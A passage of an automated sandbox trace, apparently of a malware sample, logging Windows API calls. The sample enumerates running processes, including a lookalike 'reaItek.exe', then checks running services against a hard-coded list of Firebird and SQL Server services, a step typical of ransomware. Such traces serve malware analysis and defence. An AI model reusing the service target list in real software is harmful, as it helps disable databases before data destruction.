szExeFile="isolated-concerned.exe")) returned 1 [0112.938] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0112.938] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0112.938] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0112.938] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0112.939] lstrlenW (lpString="blademcdonald.exe") returned 17 [0112.939] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0112.940] lstrlenW (lpString="courage.exe") returned 11 [0112.940] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0112.940] lstrlenW (lpString="pearl.exe") returned 9 [0112.940] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0112.941] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0112.941] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0112.942] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0112.942] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0112.942] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0112.942] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0112.943] lstrlenW (lpString="dome.exe") returned 8 [0112.943] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0112.944] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0112.944] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0112.944] lstrlenW (lpString="paying.exe") returned 10 [0112.945] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0112.945] lstrlenW (lpString="emission.exe") returned 12 [0112.945] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0112.946] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0112.946] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0112.947] lstrlenW (lpString="charter.exe") returned 11 [0112.947] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0112.947] lstrlenW (lpString="nickel.exe") returned 10 [0112.947] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0112.948] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0112.948] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0112.949] lstrlenW (lpString="wrist.exe") returned 9 [0112.949] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0112.950] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0112.950] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0112.953] lstrlenW (lpString="neck.exe") returned 8 [0112.953] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0112.954] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0112.954] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.955] lstrlenW (lpString="dllhost.exe") returned 11 [0112.955] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.955] lstrlenW (lpString="taskhostw.exe") returned 13 [0112.955] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.956] lstrlenW (lpString="svchost.exe") returned 11 [0112.956] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0112.957] lstrlenW (lpString="reaItek.exe") returned 11 [0112.957] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.958] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0112.958] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0112.958] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0112.958] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.959] lstrlenW (lpString="conhost.exe") returned 11 [0112.959] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0112.960] lstrlenW (lpString="cmd.exe") returned 7 [0112.960] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.961] lstrlenW (lpString="conhost.exe") returned 11 [0112.961] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0112.961] lstrlenW (lpString="sppsvc.exe") returned 10 [0112.962] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0112.962] CloseHandle (hObject=0x2f4) returned 1 [0112.962] Sleep (dwMilliseconds=0x1f4) [0113.478] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5feed0 [0113.479] EnumServicesStatusExW (in: hSCManager=0x5feed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0113.479] GetLastError () returned 0xea [0113.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x617720 [0113.479] EnumServicesStatusExW (in: hSCManager=0x5feed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617720, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617720, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0113.480] CloseServiceHandle (hSCObject=0x5feed0) returned 1 [0113.480] lstrlenW (lpString="Appinfo") returned 7 [0113.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0113.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0113.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0113.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0113.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0113.480] lstrlenW (lpString="AppXSvc") returned 7 [0113.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0113.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0113.480] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0113.481] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0113.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0113.481] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0113.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0113.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0113.481] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0113.481] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0113.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0113.481] lstrlenW (lpString="Audiosrv") returned 8 [0113.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0113.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0113.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0113.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0113.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0113.481] lstrlenW (lpString="BFE") returned 3 [0113.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0113.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0113.481] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0113.481] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0113.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0113.481] lstrlenW (lpString="BITS") returned 4 [0113.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0113.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0113.481] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0113.481] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0113.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0113.481] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0113.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0113.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0113.482] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0113.482] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0113.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0113.482] lstrlenW (lpString="CDPSvc") returned 6 [0113.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0113.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0113.482] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0113.482] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0113.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0113.482] lstrlenW (lpString="ClickToRunSvc") returned 13 [0113.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0113.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0113.482] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0113.482] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0113.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0113.482] lstrlenW (lpString="ClipSVC") returned 7 [0113.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0113.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0113.482] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0113.482] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0113.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0113.482] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0113.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0113.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0113.482] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0113.482] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0113.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0113.482] lstrlenW (lpString="CryptSvc") returned 8 [0113.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0113.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0113.483] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0113.483] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0113.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0113.483] lstrlenW (lpString="DcomLaunch") returned 10 [0113.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0113.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0113.483] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0113.483] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0113.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0113.483] lstrlenW (lpString="DeviceAssociationService") returned 24 [0113.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0113.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0113.483] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0113.483] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0113.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0113.483] lstrlenW (lpString="Dhcp") returned 4 [0113.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0113.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0113.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0113.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0113.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0113.483] lstrlenW (lpString="Dnscache") returned 8 [0113.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0113.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0113.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0113.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0113.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0113.484] lstrlenW (lpString="DoSvc") returned 5 [0113.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0113.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0113.484] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0113.484] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0113.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0113.484] lstrlenW (lpString="DPS") returned 3 [0113.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0113.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0113.484] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0113.484] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0113.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0113.484] lstrlenW (lpString="DusmSvc") returned 7 [0113.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0113.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0113.484] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0113.484] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0113.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0113.484] lstrlenW (lpString="EventLog") returned 8 [0113.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0113.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0113.484] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0113.484] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0113.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0113.484] lstrlenW (lpString="EventSystem") returned 11 [0113.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0113.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0113.484] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0113.485] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0113.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0113.485] lstrlenW (lpString="FontCache") returned 9 [0113.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0113.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0113.485] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0113.485] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0113.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0113.485] lstrlenW (lpString="gpsvc") returned 5 [0113.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0113.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0113.485] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0113.485] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0113.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0113.485] lstrlenW (lpString="iphlpsvc") returned 8 [0113.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0113.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0113.485] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0113.485] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0113.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0113.485] lstrlenW (lpString="KeyIso") returned 6 [0113.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0113.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0113.485] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0113.485] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0113.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0113.485] lstrlenW (lpString="LanmanServer") returned 12 [0113.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0113.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0113.486] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0113.486] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0113.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0113.486] lstrlenW (lpString="LanmanWorkstation") returned 17 [0113.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0113.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0113.486] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0113.486] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0113.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0113.486] lstrlenW (lpString="lfsvc") returned 5 [0113.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0113.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0113.486] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0113.486] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0113.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0113.486] lstrlenW (lpString="LicenseManager") returned 14 [0113.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0113.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0113.486] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0113.486] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0113.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0113.486] lstrlenW (lpString="lmhosts") returned 7 [0113.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 